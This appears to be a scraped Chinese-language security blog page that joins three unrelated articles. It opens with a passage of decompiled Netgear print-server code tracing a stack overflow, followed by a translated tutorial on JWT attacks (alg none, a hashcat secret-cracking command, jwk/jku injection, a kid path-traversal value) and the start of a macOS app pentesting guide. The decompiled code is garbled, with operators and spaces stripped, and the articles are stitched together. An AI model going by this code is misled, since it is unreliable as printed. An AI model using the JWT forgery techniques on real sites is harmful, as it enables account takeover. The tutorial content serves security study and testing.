else

{

pthread_mutex_unlock(g_mutex);

}

}

else

{

.

}

}

}

close(sock);

pthread_attr_destroy(attr);

pthread_exit(0);

}客戶端處理程序將調用地址為0xA530的do_http函數：

void__fastcall__noreturnthread_handle_client_connection(kc_client*kc_client)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

client_sock=kc_client-client_sock;

while(g_enabled!do_http(kc_client))

;

close(client_sock);

update_count_client_connected(CLIENT_DISCONNECTED);

free(kc_client);

pthread_exit(0);

}do_http()函數將讀取一個類似HTTP的請求，為此，它首先要找到以\r\n\r\n結尾的HTTP頭部，並將其保存到一個1024字節的堆棧緩衝區中。然後，它繼續搜索一個POST /USB URI和一個_LQ字符串，其中usblp_index是一個整數。然後，調用0x16150處的函數is_printer_connected()。

為了簡潔起見，這裡並沒有展示is_printer_connected()的代碼，其作用就是打開/proc/printer_status文件，試圖讀取其內容，並試圖通過尋找類似usblp%d的字符串來查找USB端口。實際上，只有當打印機連接到Netgear路由器時才會發現上述行為，這意味著：如果沒有連接打印機，它將不會繼續執行下面的代碼。

unsignedint__fastcalldo_http(kc_client*kc_client)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

kc_client_=kc_client;

client_sock=kc_client-client_sock;

content_len=0xFFFFFFFF;

strcpy(http_continue,'HTTP/1.1100Continue\r\n\r\n');

pCurrent=0;

pUnderscoreLQ_or_CRCL=0;

p_client_data=0;

kc_job=0;

strcpy(aborted_by_system,'aborted-by-system');

remaining_len=0;

kc_chunk=0;

//buf_readisonthestackandis1024bytes

memset(buf_read,0,sizeof(buf_read));

//Readin1024bytesmaximum

count_read=readUntil_0d0a_x2(client_sock,(unsigned__int8*)buf_read,0x400);

if((int)count_read=0)

return0xFFFFFFFF;

//ifreceived'100-continue',sendsback'HTTP/1.1100Continue\r\n\r\n'

if(strstr(buf_read,'100-continue'))

{

ret_1=send(client_sock,http_continue,0x19u,0);

if(ret_1=0)

{

perror('do_http()write100Continuexx');

return0xFFFFFFFF;

}

}

//IfPOST/USBisfound

pCurrent=strstr(buf_read,'POST/USB');

if(!pCurrent)

return0xFFFFFFFF;

pCurrent+=9;//pointsafter'POST/USB'

//If_LQisfound

pUnderscoreLQ_or_CRCL=strstr(pCurrent,'_LQ');

if(!pUnderscoreLQ_or_CRCL)

return0xFFFFFFFF;

Underscore=*pUnderscoreLQ_or_CRCL;

*pUnderscoreLQ_or_CRCL=0;

usblp_index=atoi(pCurrent);

*pUnderscoreLQ_or_CRCL=Underscore;

if(usblp_index10)

return0xFFFFFFFF;

//bydefault,willexithereasnoprinterconnected

if(!is_printer_connected(usblp_index))

return0xFFFFFFFF;//exitifnoprinterconnected

kc_client_-usblp_index=usblp_index;然後，它將解析HTTP的Content-Length頭部，並開始從HTTP內容中讀取8個字節。並根據這8個字節的值，調用0x128C0處的do_airippWithContentLength()函數——這正是我們的興趣之所在。

///!\doesnotreadfrompCurrent

pCurrent=strstr(buf_read,'Content-Length:');

if(!pCurrent)

{

//HandlechunkedHTTPencoding

.

}

//nochunkencodinghere,normalhttprequest

pCurrent+=0x10;

pUnderscoreLQ_or_CRCL=strstr(pCurrent,'\r\n');

if(!pUnderscoreLQ_or_CRCL)

return0xFFFFFFFF;

Underscore=*pUnderscoreLQ_or_CRCL;

*pUnderscoreLQ_or_CRCL=0;

content_len=atoi(pCurrent);

*pUnderscoreLQ_or_CRCL=Underscore;

memset(recv_buf,0,sizeof(recv_buf));

count_read=recv(client_sock,recv_buf,8u,0);//8bytesarereadonlyinitially

if(count_read!=8)

return0xFFFFFFFF;

if((recv_buf[2]||recv_buf[3]!=2)(recv_buf[2]||recv_buf[3]!=6))

{

ret_1=do_airippWithContentLength(kc_client_,content_len,recv_buf);

if(ret_10)

return0xFFFFFFFF;

return0;

}

.do_airippWithContentLength()函數分配了一個堆緩衝區來容納整個HTTP的內容，並複制之前已經讀取的8個字節，並將剩餘的字節讀入該新的堆緩衝區。

注意：只要malloc()不因內存不足而失敗，實際的HTTP內容的大小就沒有限制，這在後面進行內存噴射時很有用。

然後，代碼繼續根據最初讀取的8個字節的值，來調用其他函數。就這裡來說，我們對位於0x102C4處的Response_Get_Jobs()比較感興趣，因為它包含我們要利用的基於堆棧的溢出漏洞。請注意，雖然其他Response_XXX()函數也可能包含類似的堆棧溢出漏洞，但Response_Get_Jobs()是最容易利用的一個函數，所以，我們就先撿最軟的一個柿子來捏。

unsignedint__fastcalldo_airippWithContentLength(kc_client*kc_client,intcontent_len,char*recv_buf_initial)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

client_sock=kc_client-client_sock;

recv_buf2=malloc(content_len);

if(!recv_buf2)

return0xFFFFFFFF;

memcpy(recv_buf2,recv_buf_initial,8u);

if(toRead(client_sock,recv_buf2+8,content_len-8)=0)

{

if(recv_buf2[2]||recv_buf2[3]!=0xB)

{

if(recv_buf2[2]||recv_buf2[3]!=4)

{

if(recv_buf2[2]||recv_buf2[3]!=8)

{

if(recv_buf2[2]||recv_buf2[3]!=9)

{

if(recv_buf2[2]||recv_buf2[3]!=0xA)

{

if(recv_buf2[2]||recv_buf2[3]!=5)

Job=Response_Unk_1(kc_client,recv_buf2);

else

//recv_buf2[3]==0x5

Job=Response_Create_Job(kc_client,recv_buf2,content_len);

}

else

{

//recv_buf2[3]==0xA

Job=Response_Get_Jobs(kc_client,recv_buf2,content_len);

}

}

else

{

.

}易受攻擊的Response_Get_Jobs()函數開頭部分的代碼如下所示：

//recv_bufwasallocatedontheheap

unsignedint__fastcallResponse_Get_Jobs(kc_client*kc_client,unsigned__int8*recv_buf,intcontent_len)

{

charcommand[64];//[sp+24h][bp-1090h]BYREF

charsuffix_data[2048];//[sp+64h][bp-1050h]BYREF

charjob_data[2048];//[sp+864h][bp-850h]BYREF

unsignedinterror;//[sp+1064h][bp-50h]

size_tcopy_len;//[sp+1068h][bp-4Ch]

intcopy_len_1;//[sp+106Ch][bp-48h]

size_tcopied_len;//[sp+1070h][bp-44h]

size_tprefix_size;//[sp+1074h][bp-40h]

intin_offset;//[sp+1078h][bp-3Ch]

char*prefix_ptr;//[sp+107Ch][bp-38h]

intusblp_index;//[sp+1080h][bp-34h]

intclient_sock;//[sp+1084h][bp-30h]

kc_client*kc_client_1;//[sp+1088h][bp-2Ch]

intoffset_job;//[sp+108Ch][bp-28h]

charbReadAllJobs;//[sp+1093h][bp-21h]

charis_job_media_sheets_completed;//[sp+1094h][bp-20h]

charis_job_state_reasons;//[sp+1095h][bp-1Fh]

charis_job_state;//[sp+1096h][bp-1Eh]

charis_job_originating_user_name;//[sp+1097h][bp-1Dh]

charis_job_name;//[sp+1098h][bp-1Ch]

charis_job_id;//[sp+1099h][bp-1Bh]

charsuffix_copy1_done;//[sp+109Ah][bp-1Ah]

charflag2;//[sp+109Bh][bp-19h]

size_tfinal_size;//[sp+109Ch][bp-18h]

intoffset;//[sp+10A0h][bp-14h]

size_tresponse_len;//[sp+10A4h][bp-10h]

ch

HireHackking

在本文中，我們將探討JSON網絡令牌（JWT）的設計問題以及不當的處理方式是如何讓網站面臨各種高危攻擊的威脅的。由於JWT最常用於身份認證、會話管理和訪問控制機制，因此，這些漏洞有可能危及整個網站及其用戶。

如果還不熟悉JWT及其工作原理，那也不用擔心——我們會順便介紹所有相關細節。此外，我們還提供了一些含有相關漏洞的實驗環境，這樣你就可以針對真實的目標安全地進行滲透測試了。

1.jpg

實驗環境如果您已經熟悉了JWT攻擊背後的基本概念，目前只想在一些現實的、故意易受攻擊的目標上練習這些漏洞的利用方法，則可以通過下面的鏈接來訪問本專題的所有實驗緩解。

要想查看所有JWT實驗環境，請訪問https://portswigger.net/web-security/all-labs#jwt。

需要注意的是，從Burp Suite Professional 2022.5版本開始，Burp Scanner就可以替您自動檢測JWT機制的某些漏洞。目前，這個版本只在我們的Early Adopter發布頻道提供。關於如何切換渠道的更多信息，請參見https://portswigger.net/burp/documentation/desktop/early-adopter。

什麼是JWT？ JSON Web令牌（JWT）是一種標準化的格式，用於在系統之間發送經過加密簽名的JSON數據。它們理論上可以包含任何類型的數據，但最常用於發送關於用戶的信息（“聲明”），以進行身份認證、會話處理和訪問控制。

與傳統的會話令牌不同，服務器需要的所有數據都存儲在JWT本身的客戶端。這使得JWT成為高度分佈式網站的熱門選擇，在這些網站中，用戶需要與多個後端服務器進行無縫交互。

JWT格式JWT由3部分組成：頭部、載荷和簽名。這些部分之間用點號隔開，具體如下面的例子所示：

eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvcyBNb250b3lhIiwi c3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haWwiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ.SYZBPIBg2CRjXAJ8vCER0LA_ENjII1JakvNQoP-Hw6GG1z fl4JyngsZReIfqRvIAEi5L4HV0q7_9qGhQZvy9ZdxEJbwTxRs_6Lb-fZTDpW6lKYNdMyjw45_alSCZ1fypsMWz_2mTpQzil0lOtps5Ei_z7mM7M8gCwe_AGpI53JxduQOaB5HkT5gVrv9cKu9CsW5MS6ZbqYXpGyOG5eh oxqm8DL5tFYaW3lB50ELxi0KsuTKEbD0t5BCl0aCR2MBJWAbN-xeLwEenaqBiwPVvKixYleeDQiBEIylFdNNIMviKRgXiYuAvMziVPbwSgkZVHeEdF5MQP1Oe2Spac-6IfAJWT的頭部和載荷部分其實就是用base64url編碼的JSON對象。其中，頭部包含關於令牌本身的元數據，而載荷包含關於用戶的實際“聲明”。例如，您可以對上述令牌的載荷進行解碼，從而得到以下聲明：

{

'iss':'portswigger',

'exp':1648037164,

'name':'CarlosMontoya',

'sub':'carlos',

'role':'blog_author',

'email':'carlos@carlos-montoya.net',

'iat':1516239022

}在大多數情況下，任何有權訪問令牌的人都可以輕鬆地讀取或修改這些數據。因此，任何基於JWT機制的安全性都嚴重依賴於密碼簽名。

JWT簽名頒發令牌的服務器通常通過對頭部和載荷計算哈希值來生成簽名。在某些情況下，它們還對產生的哈希值進行加密處理。但是無論哪種方式，這個過程都涉及一個秘密密鑰。如果不知道這個密鑰，就無法為給定的頭部和載荷生成有效的簽名。這實際上就為服務器提供了一種機制，以驗證自令牌頒發以來沒有任何數據被篡改過，因為對頭部或載荷部分的任何修改，都將意味著簽名不再匹配。

如果您想更好地理解JWTs是如何構造的，可以使用jwt.io上的調試器對任意令牌進行實驗。

JWT、JWS與JWEJWT規範的約束實際上是非常有限的。它只定義了將信息（“聲明”）表示為可以在雙方之間傳輸的JSON對象的格式。在實踐中，JWT並沒有真正作為一個獨立的實體使用。 JWT規範由JSON Web簽名(JWS)和JSON Web加密(JWE)規範組成，它們定義了實際實現JWT的具體方法。

1.jpg

換句話說，JWT通常是指JWS或JWE令牌。當人們使用“JWT”這個術語時，他們幾乎總是指JWS令牌。 JWE的情況也非常相似，只是令牌的實際內容是經過加密的，而不是僅僅經過編碼處理的。

需要說明的是，為簡單起見，在這些資料中，“JWT”主要是指JWS令牌，儘管所述的一些漏洞也可能適用於JWE令牌。

什麼是JWT攻擊？所謂JWT攻擊，是指用戶向服務器發送修改過的JWT，以實現惡意目的。通常情況下，這個目的是通過冒充已經通過身份認證的另一個用戶，以繞過認證和訪問控制。

JWT攻擊的危害是什麼？ JWT攻擊的影響通常很嚴重。如果攻擊者能夠用任意值創建自己的有效令牌，他們就能夠提升自己的權限或冒充其他用戶，從而完全接管這些用戶的賬戶。

JWT攻擊的漏洞是如何產生的？ JWT漏洞通常是由於應用程序本身對JWT的處理有缺陷而產生的。與JWT有關的各種規範在設計上相對靈活，允許網站開發人員自行決定許多實現細節。這可能會導致他們意外地引入安全漏洞，即使是在使用“身經百戰”的代碼庫時。

這些實現缺陷通常意味著JWT的簽名沒有被正確驗證。這使得攻擊者可以通過令牌的載荷篡改傳遞給應用程序的值。即使簽名得到了嚴格的檢查，它是否真的可以被信任，在很大程度上也取決於服務器的秘鑰是否仍然是“機密的”。如果這個密鑰以某種方式被洩露，或者可以被猜測或破解，那麼攻擊者就可以為任意令牌生成有效的簽名，從而攻陷整個機制。

如何通過Burp Suite處理JWT如果您過去還沒有使用過JWT，我們建議您在嘗試本文中的實驗之前先熟悉Burp Suite的相關功能。

如何利用存在缺陷的JWT簽名驗證根據設計，服務器通常不存儲任何關於其頒發的JWT的信息。相反，每個令牌都是一個完全獨立的實體。雖然這樣做有許多優點，但也引入了一個基本問題——服務器實際上不知道關於令牌的原始內容，甚至不知道原始簽名是什麼。因此，如果服務器沒有正確地驗證簽名，就沒有什麼可以阻止攻擊者對令牌的其他部分進行任意篡改。

例如，考慮一個包含以下聲明的JWT：

{

'username':'carlos',

'isAdmin':false

}如果服務器是根據username來識別會話，那麼，攻擊者就能夠通過修改用戶名來冒充其他已登錄的用戶。同樣，如果isAdmin值被用於訪問控制，攻擊者也可以提通過篡改這個值來實現提權。

在前兩個實驗中，您將看到一些示例，展示了這些漏洞在實際應用程序中的具體表現。

漏洞：接受任意簽名JWT庫通常會提供一個方法來驗證令牌，同時，還會提供另一個方法對其進行解碼。例如，對於Node.js庫jsonwebtoken來說，這兩個方法本別是verify()和decode()。

有時候，開發人員會混淆這兩個方法，只把傳入的令牌傳給decode()方法。這實際上意味著應用程序根本就沒有對簽名進行驗證。

關於通過未驗證的簽名繞過JWT認證的實驗環境，請訪問https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature。

漏洞：接受未簽名的令牌實際上，JWT頭部還包含一個alg參數。該參數的作用，就是告訴服務器對令牌進行簽名時使用的是哪種算法，換句話說，在驗證簽名時需要使用哪種算法。

{

'alg':'HS256',

'typ':'JWT'

}這在本質上是有缺陷的，因為服務器別無選擇，只能隱式地信任提供令牌的用戶的輸入（注意，這些輸入受控於該用戶），而該令牌根本沒有被驗證過。換句話說，攻擊者可以直接影響服務器檢查令牌是否值得信任的方式。

JWT既可以使用一系列不同的算法進行簽名，也可以不簽名。在這種情況下，alg參數被設置為None，表示所謂的'不安全的JWT'。由於這種情況具有顯而易見的安全隱患，因此，服務器通常會拒絕沒有簽名的令牌。然而，由於這種過濾依賴於字符串解析，所以，攻擊者可以使用經典的混淆技術繞過這些過濾器，如混合大寫和非預期的編碼。

需要注意的是，即使令牌是未簽名的，載荷部分也必須以點號結尾。

實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification提供的環境，來練習如何利用有缺陷的簽名驗證機制來繞過JWT認證。暴力破解密鑰某些簽名算法，如HS256（HMAC + SHA-256），會使用一個任意的、獨立的字符串作為秘密密鑰。就像密碼一樣，這個秘密不能被攻擊者輕易猜到或暴力破解，這是至關重要的。否則，他們就能以任意的頭部和載荷值來創建JWT，然後用密鑰重新給令牌簽名。

在實現JWT應用時，開發人員有時會犯一些錯誤，比如忘記改變默認或占位的密碼。他們甚至可能複制和粘貼在網上找到的代碼片段，然後忘記改變作為示例提供的硬編碼的密碼。在這種情況下，攻擊者使用流行的密碼本，輕鬆對服務器的登陸憑據進行暴力破解。

使用hashcat來暴力破解密鑰我們建議使用hashcat對密鑰進行暴力破解。您可以手動安裝hashcat，但它在Kali Linux上是預裝的，可以直接使用。

如果您使用的是Kali中預構建的VirtualBox映像，而不是裸機安裝程序版本，則可能沒有足夠的內存來運行Hashcat程序。

為此，您只需要一個來自目標服務器的有效的、已簽名的JWT，以及一個眾所周知的密碼字典wordlist。然後，可以運行以下命令，將JWT和wordlist作為參數傳入：

hashcat-a0-m16500jwtwordlistHashcat程序會使用密碼字典wordlist中的每個密碼對JWT的頭部和載荷進行簽名，然後將得到的簽名與服務器的原始簽名進行比較。如果任何一個簽名匹配，hashcat就會以下列格式輸出已識別的密碼，以及其他各種細節：

jwt:identified-secret如果多次運行該命令，則需要包含--show標誌以輸出結果。

由於hashcat在您的機器上本地運行，並且不依賴於向服務器發送請求，所以這個過程會非常快，即使在使用龐大的密碼字典Wordlist時也是如此。

一旦確定了密鑰，就可以使用它為您喜歡的任何JWT頭部和載荷生成有效簽名。有關如何利用Burp Suite重新給修改後的JWT簽名的詳細信息，請參見相關章節。

實驗環境：通過弱簽名密鑰繞過JWT身份驗證的實驗，請訪問https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key。

如果服務器使用了非常弱的密碼，甚至能夠用遍歷字符的方式進行暴力破解，而不必使用Wordlist。

JWT頭部參數注入根據JWS規範，只有頭部參數alg是必需的。然而，在實踐中，JWT頭部（也稱為JOSE頭部）通常包含其他幾個參數。以下是攻擊者特別感興趣的參數：

jwk（JSON Web Key）：提供一個表示密鑰的嵌入式JSON對象。

jku（JSON Web Key Set URL）：提供一個URL，服務器可以從中獲取一組包含正確密鑰的密鑰。

kid（Key ID）：提供一個ID，在有多個密鑰可供選擇的情況下，服務器可以使用該ID來識別正確的密鑰。根據密鑰的格式，它可能還有一個匹配的kid參數。

正如你所看到的，這些用戶可控制的參數用於告訴接收方服務器在驗證簽名時使用哪些密鑰。在本節中，你將學習如何利用這些參數來注入修改過的JWT，而這些JWT都是用你自己的任意密鑰而非服務器的密鑰來簽名的。

通過jwk參數注入自簽名的JWTJSON Web簽名（JWS）規範描述了一個可選的jwk頭部參數，服務器可以用它將其公鑰直接嵌入JWK格式的令牌本身。

JWKJWK（JSON Web密鑰）是一種標準化的格式，用於將密鑰表示為JSON對象。

下面，我們為大家展示一個JWT頭部示例：

{

'kid':'ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG',

'typ':'JWT',

'alg':'RS256',

'jwk':{

'kty':'RSA',

'e':'AQAB',

'kid':'ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG',

'n':'yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m'

}

}對於不熟悉“公鑰”和“私鑰”這兩個術語讀者，請參閱https://portswigger.net/web-security/jwt/algorithm-confusion#symmetric-vs-asymmetric-algorithms。

理想情況下，服務器應該只使用有限的公鑰白名單來驗證JWT簽名。然而，配置錯誤的服務器有時會使用jwk參數中嵌入的任何密鑰來驗證簽名。

因此，攻擊者可以利用這種行為，用自己的RSA私鑰對修改過的JWT進行簽名，然後在jwk頭部中嵌入對應的公鑰。

雖然我們也可以在Burp中手動添加或修改jwk參數，但JWT編輯器擴展提供了一個非常方便的功能，用於幫助我們測試這個漏洞。

1、在加載該擴展後，在Burp的主選項卡欄中，轉到JWT Editor Keys選項卡。

2、創建一個新的RSA密鑰。

3、向Burp Repeater發送一個包含JWT的請求。

4、在消息編輯器中，切換到擴展生成的JSON Web Token選項卡，並以你喜歡的方式修改令牌的載荷。

5、點擊Attack按鈕，然後選擇Embedded JWK。當收到提示時，選擇新生成的RSA密鑰。

6、發送請求，測試服務器的響應情況。

您也可以通過自己添加jwk頭部來手動執行這種攻擊。然而，您可能還需要更新JWT的頭部參數kid，以匹配嵌入的密鑰的kid。實際上，該擴展的內置攻擊可以替我們完成這個步驟。

實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection，來了解如何通過注入jwk頭部來繞過JWT認證。

通過jku參數注入自簽名的JWT實際上，有些服務器並不會直接使用jwk頭部參數來嵌入公鑰，而是讓你使用jku（JWK Set URL）頭部參數來引用一個包含密鑰的JWK Set。當驗證簽名時，服務器會從這個URL中獲取相關的密鑰。

實際上，所謂JWK Set就是一個JSON對象，其中包含一組表示密鑰的JWK，例如：

{

'keys':[

{

'kty':'RSA',

'e':'AQAB',

'kid':'75d0ef47-af89-47a9-9061-7c02a610d5ab',

'n':'o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ'

},

{

'kty':'RSA',

'e':'AQAB',

'kid':'d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA',

'n':'fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw'

}

]

}像這樣的JWK集有時會通過一個標準的端點對外公開，如/.known/jwks.json。

雖然更安全的網站只會從受信任的域中獲取密鑰，但有時可以利用URL解析的差異來繞過這種過濾機制。關於這方面的例子，請參閱https://portswigger.net/web-security/ssrf#ssrf-with-whitelist-based-input-filters。

實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection，來練習如何通過注入jku頭部來繞過JWT認證。

通過kid參數注入自簽名的JWT服務器可能會使用多個加密密鑰來為不同類型的數據進行簽名，而不僅僅是JWT。出於這個原因，JWT的頭部可能包含一個kid（密鑰ID）參數，以幫助服務器識別在驗證簽名時要使用的密鑰。

驗證密鑰通常被存儲為JWK Set。在這種情況下，服務器可以直接尋找與令牌具有相同kid參數的JWK。然而，JWS規範並沒有為這個ID定義具體的結構：它只是開發人員任意選擇的一個字符串。例如，他們可能使用kid參數來指向數據庫中的一個特定條目，甚至是一個文件的名稱。

如果這個參數也容易受到目錄遍歷的影響，攻擊者就有可能迫使服務器使用其文件系統中的任意文件作為驗證密鑰。

{

'kid':'././path/to/file',

'typ':'JWT',

'alg':'HS256',

'k':'asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc'

}如果服務器也支持使用對稱算法為JWT簽名，這就非常危險了。在這種情況下，攻擊者有可能將kid參數指向一個可預測的靜態文件，然後用一個與該文件內容相匹配的秘密來給JWT簽名。

理論上講，攻擊者可以用任何文件來做這件事，但最簡單的方法之一是使用/dev/null，它存在於大多數Linux系統中。由於這是一個空文件，讀取它時將返回null。因此，用一個Base64編碼的null字節來給令牌簽名將得到一個有效的簽名。

實驗環境：讀者可以通過https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal，來練習如何通過kid頭部路徑遍歷漏洞來繞過JWT驗證。

如果服務器將其驗證密鑰存儲在數據庫中，kid頭部參數也是一個潛在的SQL注入攻擊的載體。

其他有趣的JWT頭部參數以下頭部參數也可能是攻擊者感興趣的：

●cty（內容類型）：有時用於聲明JWT載荷中內容的媒體類型。通常情況下，會省略該參數，但底層解析庫可能還是支持它。如果已經找到了繞過簽名驗證的方法，可以嘗試注入cty參數，將內容類型改為text/xml或application/x-java-serialized-object，這有可能為XXE和反序列化攻擊提供新的向量。

●x5c（X.509證書鏈）：有時用於傳遞用於對JWT進行數字簽名的X.509公鑰證書或證書鏈。這個頭部參數可用於注入自簽證書，類似於上面討論的jwk頭部注入攻擊。由於X.509格式及其擴展的複雜性，解析這些證書也很可能會引入漏洞。這些攻擊的細節超出了本文的討論範圍，但要了解更多細節，請參考CVE-2017-2800和CVE-2018-2633漏洞的相關資料。

JWT算法混淆即使服務器使用了攻擊者無法破解的強大密碼，他們仍然可以通過使用開發人員沒有預料到的算法簽名令牌來偽造有效的JWT。這就是所謂的算法混淆攻擊。關於該攻擊方法的詳細介紹，請訪問這篇文章：https://portswigger.net/web-security/jwt/algorithm-confusion。

如何防禦JWT攻擊您可以通過採取以下措施來保護自己的網站免受本文介紹的各種攻擊：

使用最新的庫來處理JWT，並確保開發人員完全了解它是如何工作的，以及所帶來的任何安全影響。現代代碼庫的使用，降低了在代碼實現中引入安全漏洞的可能性，但由於相關規範固有的靈活性，這也不是萬無一失的。

確保對收到的任何JWT進行嚴格的簽名驗證，並考慮邊緣情況，如使用非預期的算法簽名的JWT。

為jku頭部提供允許主機白名單，並嚴格執行。

確保不會受到通過kid頭部參數進行路徑穿越或SQL注入的影響。

JWT處理的其他最佳實踐我們建議在您的應用程序中使用JWT時遵守以下最佳實踐：

始終為頒發的任何令牌設置一個到期日。

盡可能避免通過URL參數發送令牌。

提供aud聲明（或類似內容），以指定令牌的預期接收者。這可以防止它被用在不同的網站上。

讓頒發服務器能夠撤銷令牌（例如，在註銷時）。

HireHackking

微信截图_20230717074204.png網上有很多關於Windows和Linux滲透測試應用程序的指南和信息。不幸的是，在macOS中沒有一個幫助我們完成滲透測試的指南。這意味著我們必須花費更多的時間在網絡上搜索，並嘗試不同的工具和技術，來找到最有效的測試方法。隨著macOS及其應用程序的普及，針對它們的攻擊越來越多。為了確保這些應用程序的安全性，需要進行滲透測試。

首先，我們將定義什麼是macOS應用程序。此外，我們將用Swift編程語言創建一個簡單的應用程序，並配置應用程序沙盒功能。它還涵蓋了基本的GUI和網絡測試，包括Burp Suite的配置以及SIP與此的關係。

應用程序結構讓我們從定義什麼是macOS應用程序開始，macOS應用程序是為在蘋果的macOS操作系統(以前的OS X)上運行而設計的軟件，它由一組文件和資源以特定格式捆綁在一起，通常有一個用戶界面。一些流行的macOS應用程序包括Safari、Chrome和Word。 Swift和Objective-C是創建macOS應用程序最常用的編程語言，但macOS也支持其他語言，如C和c++。

許多應用程序都是從App Store獲得的，但用戶也可以選擇從第三方資源下載和安裝應用程序。安裝後，應用程序通常位於/Applications或~/Applications路徑，但也可以存儲在其他位置。例如，系統應用程序是通過/system/applications路徑訪問的。需要注意的是，macOS應用程序可以通過查找“.app”擴展來區分，並存儲為包，也稱為應用程序包（Application Bundle）：包（bundle）是一個具有標準化層次結構的目錄，通常包含可執行代碼和該代碼使用的資源。包扮演著許多不同的角色：應用、應用擴展、框架和插件都是包。包也可以包含其他包。

雖然包在Finder中顯示為單個文件，但它實際上是一個目錄。要查看應用程序的內容，右鍵單擊文件名並選擇“顯示包內容”。在Content目錄中，你可以找到如下所示的幾個子目錄：

1.png

應用程序內容

macOS應用程序包的基本結構包括以下內容：

Info.plist：這個文件包含應用程序的配置信息，例如包標識符和包版本；

MacOS：這個目錄包含主要的可執行文件；

Resources：該目錄包含應用程序的資源，如圖像、本地化和接口文件；

你可以在應用程序包中找到的其他目錄：

Frameworks：此目錄包含由主可執行文件加載的框架和動態庫；

Plugins：這個目錄包含應用程序擴展和插件，它們是擴展應用程序功能的軟件組件。插件通常作為共享庫開發，提供特定應用程序定義的API和接口。他們可以為特定的應用程序添加新功能，例如提高殘疾人可用性的無障礙插件。另一方面，擴展是一種修改操作系統行為的插件，例如向Spotlight搜索功能添加新功能；

Library:此目錄可能包含各種子目錄，包括：

LaunchServices：該目錄包含由服務管理框架安裝的特權助手工具，這些工具允許應用程序和進程執行需要管理權限的系統級任務。它們在後台運行，使用進程間通信(IPC)機制(如Mach消息或XPC)與主應用程序通信。這些工具通常作為啟動守護進程或啟動代理實現，負責管理後台進程。應用程序代理在用戶登錄時啟動並繼續在後台運行，而應用程序守護進程則從系統啟動開始在後台持續運行，它們分別在/Library/LaunchAgents和/Librare/LaunchDaemons中的plist文件中定義。

SystemExtensions：該目錄包括系統擴展，允許網絡擴展和端點安全解決方案等軟件在不需要內核級訪問的情況下擴展macOS的功能。如今，這些擴展被用作內核擴展（kext）的替代方案。

XPCServices：該目錄包括macOS應用程序中用於實現進程之間通信的XPC服務。 XPC服務被實現為一個單獨的二進制可執行文件，它在後台運行，可以由多個進程使用。

完整的列表可以在蘋果的文檔中找到。

虛假應用程序我們搜索了一個包含一些錯誤配置的虛假應用程序，例如：

網絡上未加密的數據；

各種應享權利；

無效的代碼簽名；

加載可被劫持的dylib；

但是我們找不到一個適合我們需要的，因此，我們決定創建自己的應用程序。

2.png

虛假應用程序

幸運的是，我們發現了一個有趣的博客，在整個Swift語言應用程序開發過程中為我們提供了有用的指導。

在構建我們的應用程序時，除了一個基本的應用程序外，我們還添加了一些代碼，其中包括向服務器發送HTTP請求的功能。

你可以在下面找到“複雜”應用程序的代碼（代碼片段1）：

3.1.png

3.2.png

代碼片段1：虛假應用程序代碼

通過在Xcode中創建一個新的macOS應用程序，它將獲得應用程序沙盒權限和默認功能集。

為了允許我們的應用程序創建網絡請求，我們添加了一個用於輸出連接的功能，該功能將com.apple.security.network.client授權添加到我們的應用程序中。

4.webp.jpg

Xcode中的應用沙盒功能

應用程序沙盒限制訪問系統資源和macOS應用程序中的用戶數據，可以通過授權進行訪問。

功能和授權是決定應用程序權限和訪問級別的兩種機制。功能定義了應用程序需要使用的功能，比如攝像頭或互聯網。同時，授權授予應用程序與操作系統和其他應用程序交互的訪問權限。

對於某些操作，我們需要添加特定的功能，例如：

為了訪問互聯網，我們添加了傳入/傳出連接的功能，這將自動為應用程序提供com.apple.security.network.*權限。

為了訪問硬件，例如內置攝像頭，我們添加了特定硬件的功能，該功能為應用程序提供了com.apple.security.device.*權限。

為了訪問文件，我們添加了特定文件和權限的功能，為應用程序提供了com.apple.security.files.*權限。

默認情況下，在macOS 10.15或更高版本中，所有Mac應用程序必須經過蘋果的“公證”才能啟動。請參閱蘋果文檔公證macOS軟件之前發布的更多細節。如果我們必須通過App Store傳播應用程序，則需要通過額外的安全檢查進行公證。

我們可以通過以下步驟查看虛假應用的應用包：

點擊Xcode菜單中的“Product”；

選擇“Archive.”；

右鍵單擊並從上下文菜單中選擇“在Finder中顯示”；

GUI測試與Windows和Linux客戶端一樣，第一步將是識別常見的用戶輸入界面，並測試它們的安全漏洞，例如SQL注入或跨站點腳本。

此外，了解應用程序的行為和功能也是必不可少的。這包括了解應用程序如何處理用戶輸入，它存儲和收集什麼數據，以及它如何與外部系統交互。

網絡測試分析應用程序和服務器之間的網絡通信對於滲透測試至關重要。我們可以通過檢查網絡流量來檢測未經加密或通過不安全通道傳輸的敏感信息。

然而，在macOS中，我們默認啟用SIP。首先，讓我們了解SIP是什麼。

